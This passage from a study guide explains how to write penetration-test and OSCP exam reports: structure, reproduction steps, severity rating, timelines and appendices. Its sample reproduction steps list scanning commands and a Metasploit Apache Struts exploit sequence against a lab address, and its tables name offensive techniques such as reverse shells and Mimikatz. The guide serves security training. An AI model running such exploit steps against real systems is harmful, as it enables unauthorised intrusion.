| Original work | Must be your own writing | Mandatory |
| Plagiarism-free | No copied content from other sources | Mandatory |
OSCP Report Structure (Required)
graph TD
A[OSCP Exam Report] --> B[Executive Summary]
A --> C[Technical Findings]
A --> D[Appendix]
B --> B1[Engagement Overview]
B --> B2[Overall Risk Assessment]
B --> B3[Summary of Findings]
C --> C1[Machine 1 - 10.10.10.1]
C --> C2[Machine 2 - 10.10.10.2]
C --> C3[Machine 3 - 10.10.10.3]
C1 --> C1a[Vulnerabilities Found]
C1 --> C1b[Exploitation Steps]
C1 --> C1c[Proof Screenshots]
C1 --> C1d[Remediation]
C2 --> C2a[Vulnerabilities Found]
C2 --> C2b[Exploitation Steps]
C2 --> C2c[Proof Screenshots]
C2 --> C2d[Remediation]
D --> D1[References]
D --> D2[Tools Used]
D --> D3[Glossary]
style A fill:#ff6b6b,stroke:#333,stroke-width:3px
style C fill:#ffd43b,stroke:#333,stroke-width:2px
OSCP-Specific Requirements
| Element | What to Include | Why It Matters |
|---|---|---|
| Machine IP addresses | All target IPs tested | Scope verification |
| User.txt and root.txt | Proof of flag capture | Exploitation proof |
| Exploitation steps | Step-by-step for each machine | Reproducibility |
| Screenshots | Evidence of each step | Verification |
| Vulnerability descriptions | What was exploited | Technical understanding |
| Remediation | How to fix each issue | Professional value |
| References | Sources used | Academic integrity |
OSCP Report Grading Criteria
| Criteria | Weight | Description |
|---|---|---|
| Completeness | High | All machines and findings documented |
| Clarity | High | Easy to understand and follow |
| Technical accuracy | High | Correct vulnerability descriptions |
| Evidence quality | Medium | Clear and relevant screenshots |
| Remediation quality | Medium | Actionable and specific recommendations |
| Professionalism | Medium | Proper formatting and grammar |
| Originality | Critical | Must be your own work |
Key Concepts
- Follow the template: Offensive Security provides a specific template. Use it.
- Be thorough: Document every step, even if it seems obvious.
- Be honest: Report what you actually did, not what you think you should have done.
- Be professional: Proofread for grammar, spelling, and formatting.
Practical Tips for OSCP Report
Tip: Start writing your report DURING the exam, not after. Document as you go.
Tip: Take screenshots at every significant step. You will forget details later.
Tip: Use the Offensive Security provided template. Do not create your own format.
Tip: Write in past tense (“I exploited…” not “I will exploit…”).
Tip: Include the exact commands you ran. Copy from your terminal history.
14. Writing Clear Reproduction Steps
Reproduction Steps Structure
graph TD
A[Prerequisites] --> B[Step 1]
B --> C[Step 2]
C --> D[Step N]
D --> E[Expected Result]
E --> F[Actual Result]
style A fill:#339af0,stroke:#333,stroke-width:2px
style E fill:#51cf66,stroke:#333,stroke-width:2px
style F fill:#ff6b6b,stroke:#333,stroke-width:2px
Reproduction Steps Template
#### Reproduction Steps
**Prerequisites:**
- Target: 10.10.10.100
- Tools: nmap, metasploit, netcat
- No authentication required
**Step 1: Initial Reconnaissance**
```bash
nmap -sC -sV -oA initial 10.10.10.100
Output:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2
80/tcp open http Apache httpd 2.4.18
Step 2: Web Application Analysis
dirb http://10.10.10.100 /usr/share/wordlists/dirb/common.txt
Output:
==> DIRECTORY: http://10.10.10.100/admin/
==> DIRECTORY: http://10.10.10.100/backup/
Step 3: Exploitation
msfconsole
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 10.10.10.100
set TARGETURI /admin/login
exploit
Step 4: Post-Exploitation
whoami
id
cat /home/user/user.txt
Expected Result:
- Successful shell access as user ‘www-data’
- Ability to read user.txt
Actual Result:
- Shell obtained as ‘www-data’
- user.txt contains: [REDACTED]
### Writing Guidelines for Reproduction Steps
| Guideline | Description | Example |
|---|---|---|
| **Numbered steps** | Use sequential numbering | Step 1, Step 2, Step 3 |
| **Exact commands** | Copy from terminal | `nmap -sC -sV 10.10.10.1` |
| **Include output** | Show what the command returns | Full terminal output |
| **Explain purpose** | Why you ran each command | "To enumerate open ports" |
| **Note timing** | When steps were performed | "After initial scan completed" |
| **Show context** | Current user, directory, etc. | `www-data@target:~$` |
### Common Reproduction Patterns
| Pattern | Description | Example |
|---|---|---|
| **Scan then exploit** | Reconnaissance followed by exploitation | nmap -> metasploit |
| **Enumerate then escalate** | User enumeration then privilege escalation | LinPEAS -> kernel exploit |
| **Brute force then access** | Credential attack then authenticated access | hydra -> SSH login |
| **Upload then execute** | File upload then command execution | web shell -> reverse shell |
| **Deserialize then RCE** | Deserialization attack then remote code execution | ysoserial -> reverse shell |
### Key Concepts
- **Chronological order:** Steps should follow the actual sequence of events.
- **Completeness:** Include every significant step, not just the "important" ones.
- **Context:** Show the environment state at each step.
- **Verification:** Show proof that each step succeeded.
### Practical Tips
> Tip: Use code blocks for all commands and output. Never inline terminal output.
> Tip: Include the prompt before each command to show context (user, host, directory).
> Tip: For multi-step exploits, show the transition between steps clearly.
---
## 15. Avoiding Common Reporting Mistakes
### Top Reporting Mistakes
| Mistake | Description | How to Avoid |
|---|---|---|
| **Vague descriptions** | "The system is vulnerable" | Be specific: "Apache Struts 2.5.30 is vulnerable to CVE-2024-1234" |
| **Missing evidence** | No screenshots or proof | Take screenshots at every significant step |
| **No remediation** | Finding without fix guidance | Always include specific remediation steps |
| **Inconsistent severity** | Same vulnerability, different ratings | Use CVSS calculator consistently |
| **Jargon overload** | Technical terms without explanation | Define terms or use plain language in executive summary |
| **Plagiarism** | Copying from other reports | Write in your own words |
| **Missing scope** | Not documenting what was tested | Clearly define scope in the overview |
| **No timestamps** | Cannot verify when findings occurred | Include dates and times for all activities |
| **Incomplete findings** | Missing key details | Use a finding template for consistency |
| **Poor formatting** | Hard to read or navigate | Use consistent headings, tables, and code blocks |
### Severity Rating Mistakes
| Mistake | Correct Approach |
|---|---|
| Rating all findings as "High" | Use CVSS to determine accurate severity |
| Ignoring context | Consider the specific environment and impact |
| Using outdated CVSS versions | Use CVSS v3.1 or later |
| Not justifying scores | Explain why a score was chosen |
| Inconsistent scoring | Use the same methodology for all findings |
### Evidence Collection Mistakes
| Mistake | Correct Approach |
|---|---|
| Screenshots without context | Include surrounding information |
| Missing timestamps | Ensure system clock is accurate |
| Unannotated screenshots | Highlight key areas with arrows or boxes |
| Incomplete HTTP captures | Show full request and response |
| No file hashes | Hash all evidence files |
### Remediation Mistakes
| Mistake | Correct Approach |
|---|---|
| "Apply patches" | "Apply Ubuntu security update USN-6543-1" |
| "Fix the vulnerability" | "Implement parameterized queries using prepared statements" |
| No prioritization | Order remediation by urgency and effort |
| No verification | Include steps to verify the fix works |
| Ignoring root cause | Address the underlying issue, not just the symptom |
### Key Concepts
- **Review before submission:** Always proofread and review your report.
- **Use checklists:** Ensure all required elements are included.
- **Get feedback:** Have a peer review your report before submission.
- **Learn from mistakes:** Keep a list of common errors to avoid.
### Practical Tips
> Tip: Create a personal checklist based on common mistakes. Use it for every report.
> Tip: Read your report aloud to catch awkward phrasing and missing information.
> Tip: Have someone without technical expertise read the executive summary. If they understand it, you did it right.
---
## 16. Timeline and Methodology Documentation
### Engagement Timeline
```mermaid
gantt
title Penetration Test Engagement Timeline
dateFormat YYYY-MM-DD
section Planning
Scope Definition :2026-08-01, 2d
Rules of Engagement :2026-08-03, 2d
Tool Preparation :2026-08-05, 1d
section Execution
Reconnaissance :2026-08-06, 2d
Scanning :2026-08-08, 2d
Exploitation :2026-08-10, 3d
Post-Exploitation :2026-08-13, 2d
section Reporting
Analysis :2026-08-15, 2d
Report Writing :2026-08-17, 5d
Review :2026-08-22, 2d
Final Delivery :2026-08-24, 1d
Methodology Documentation
| Phase | Description | Tools Used | Output |
|---|---|---|---|
| Reconnaissance | Information gathering about targets | theHarvester, Maltego, WHOIS | Target list, DNS records |
| Scanning | Port and service enumeration | nmap, masscan, Nikto | Open ports, service versions |
| Vulnerability Analysis | Identifying exploitable weaknesses | Nessus, OpenVAS, manual review | Vulnerability list |
| Exploitation | Attempting to exploit vulnerabilities | Metasploit, custom scripts, manual | Successful exploits |
| Post-Exploitation | Maintaining access, privilege escalation | LinPEAS, WinPEAS, Mimikatz | Root/admin access |
| Reporting | Documenting findings and recommendations | Word, Markdown, LaTeX | Final report |
Methodology Frameworks
| Framework | Phases | Best For |
|---|---|---|
| PTES | 7 phases | Complete testing lifecycle |
| OSSTMM | 6 phases | Operational security testing |
| NIST 800-115 | 3 phases | Government and enterprise |
| Cyber Kill Chain | 7 stages | Attack simulation |
| MITRE ATT&CK | Tactics and techniques | Adversary emulation |
Timeline Documentation Template
#### Engagement Timeline
| Date | Activity | Duration | Notes |
|---|---|---|---|
| 2026-08-06 | Initial reconnaissance | 4 hours | DNS enumeration, WHOIS lookup |
| 2026-08-07 | Port scanning | 2 hours | nmap full scan of 10.10.10.0/24 |
| 2026-08-08 | Web application testing | 6 hours | Burp Suite analysis of webapp.example.com |
| 2026-08-09 | Exploitation attempts | 8 hours | SQL injection, command injection |
| 2026-08-10 | Successful exploitation | 4 hours | Gained user access on 10.10.10.100 |
| 2026-08-11 | Privilege escalation | 6 hours | Kernel exploit for root access |
| 2026-08-12 | Post-exploitation | 3 hours | Data enumeration, lateral movement |
| 2026-08-13 | Evidence collection | 2 hours | Screenshots, command output |
Key Concepts
- Transparency: Document what you did, when, and how long it took.
- Reproducibility: Another tester should be able to follow your methodology.
- Efficiency: Show that you used time effectively.
- Thoroughness: Cover all phases of the testing lifecycle.
Practical Tips
Tip: Keep a lab notebook during the engagement. Record timestamps and activities.
Tip: Use the
historycommand in Linux to review commands you ran.
Tip: Document failed attempts too. They show thoroughness and help avoid future mistakes.
17. Appendices and Supporting Documentation
Appendix Types
| Appendix | Content | When to Include |
|---|---|---|
| A: Tool Output | Raw scanner output, nmap results | Always |
| B: Network Diagrams | Target architecture, network topology | When relevant |
| C: Glossary | Technical terms and abbreviations | For non-technical readers |
| D: References | CVEs, advisories, documentation | Always |
| E: Screenshots | Additional evidence not in main body | When space is limited |
| F: Scripts | Custom exploitation scripts | When used |
| G: Configuration | Tool configurations, settings | When relevant |
| H: Legal | Rules of engagement, authorization | Always |
Appendix Structure
graph TD
A[Appendices] --> B[Appendix A: Tool Output]
A --> C[Appendix B: Network Diagrams]
A --> D[Appendix C: Glossary]
A --> E[Appendix D: References]
A --> F[Appendix E: Additional Evidence]
A --> G[Appendix F: Custom Scripts]
A --> H[Appendix G: Legal Documents]
B --> B1[nmap output]
B --> B2[Nessus report]
B --> B3[Burp Suite logs]
D --> D1[CVE references]
D --> D2[OWASP guides]
D --> D3[Vendor advisories]
style A fill:#339af0,stroke:#333,stroke-width:3px
Glossary Template
| Term | Definition |
|---|---|
| CVSS | Common Vulnerability Scoring System - standard for rating vulnerability severity |
| RCE | Remote Code Execution - ability to execute arbitrary code on a remote system |
| SQLi | SQL Injection - injecting malicious SQL code into application queries |
| XSS | Cross-Site Scripting - injecting malicious scripts into web pages |
| SSRF | Server-Side Request Forgery - forcing server to make requests to internal resources |
| XXE | XML External Entity - exploiting XML parser to access local files |
| IDOR | Insecure Direct Object Reference - accessing resources by manipulating identifiers |
| PoC | Proof of Concept - demonstration that a vulnerability is exploitable |
| WAF | Web Application Firewall - security appliance that filters HTTP traffic |
| MFA | Multi-Factor Authentication - requiring multiple forms of verification |
References Template
| Reference | URL | Relevance |
|---|---|---|
| CVE-2024-1234 | https://nvd.nist.gov/vuln/detail/CVE-2024-1234 | Apache Struts RCE vulnerability |
| OWASP Top 10 | https://owasp.org/www-project-top-ten/ | Web application security risks |
| NIST SP 800-115 | https://nvlpubs.nist.gov/nistpubs/SpecialPublications/800-115.pdf | Security testing guide |
| CVSS v3.1 | https://www.first.org/cvss/v3.1/specification-document | Vulnerability scoring standard |
| MITRE ATT&CK | https://attack.mitre.org/ | Adversary tactics and techniques |
Key Concepts
- Organization: Use clear labels and numbering for appendices.
- Relevance: Include only supporting material that adds value.
- Accessibility: Make appendices easy to reference from the main body.
- Completeness: Include all raw data that supports your findings.
Practical Tips
Tip: Cross-reference appendices from the main body. Use “See Appendix A” references.
Tip: Keep appendices concise. Raw data can be large; include only what is necessary.
Tip: Use the glossary for any term that might not be familiar to all readers.
Quick Reference: Essential Tools for Report Writing
Report Writing Tools
| Tool | Purpose | Platform |
|---|---|---|
| Microsoft Word | Report authoring | Windows, Mac |
| LibreOffice Writer | Report authoring (free) | Cross-platform |
| LaTeX | Professional document formatting | Cross-platform |
| Markdown | Lightweight formatting | Cross-platform |
| Pandoc | Document conversion | Cross-platform |
| Grammarly | Grammar and style checking | Web, Desktop |
| Hemingway Editor | Readability improvement | Web |
Evidence Collection Tools
| Tool | Purpose | Platform |
|---|---|---|
| Burp Suite | Web proxy and testing | Cross-platform |
| Wireshark | Network packet analysis | Cross-platform |
| tcpdump | CLI packet capture | Linux, macOS |
| gnome-screenshot | Linux screenshots | Linux |
| Snipping Tool | Windows screenshots | Windows |
| hashdeep | File hashing | Cross-platform |
CVSS and Risk Tools
| Tool | Purpose | Platform |
|---|---|---|
| First.org Calculator | Official CVSS calculator | Web |
| Snyk Calculator | Alternative CVSS calculator | Web |
| Nessus | Vulnerability scanner with CVSS | Cross-platform |
| OpenVAS | Open-source vulnerability scanner | Cross-platform |
Summary Checklist
Before Submitting Your Report
- Executive summary is clear and concise (2-4 pages)
- All findings are documented with consistent IDs
- Each finding has: severity, CVSS score, summary, technical details, PoC, evidence, impact, remediation
- Screenshots are annotated and properly named
- All commands are included with output
- Remediation recommendations are specific and actionable
- References to CVEs, CWEs, and OWASP are included
- Report is free of spelling and grammar errors
- Table of contents is accurate
- Document control table is complete
- Appendices are organized and referenced
- Report follows the required template format
- All work is original (no plagiarism)
- Report is saved in the correct format (PDF or Word)
Final Notes
Key Takeaways
- The report is as important as the hack. A great hack with a poor report fails the engagement.
- Know your audience. Write the executive summary for management and the technical report for engineers.
- Be consistent. Use templates, numbering schemes, and formatting consistently.
- Be thorough. Document every step, include all evidence, and provide complete remediation guidance.
- Be professional. Proofread, format properly, and follow industry standards.
- Be original. Write in your own words. Plagiarism is unacceptable.
- Start early. Begin documenting during the engagement, not after.
- Use evidence. Every claim must be supported by screenshots, output, or other proof.
Recommended Reading
- OWASP Testing Guide v4: https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/800-115.pdf
- PTES Technical Report: https://www.pentest-standard.org/
- CVSS v3.1 Specification: https://www.first.org/cvss/v3.1/specification-document
- MITRE ATT&CK Framework: https://attack.mitre.org/
End of Study Guide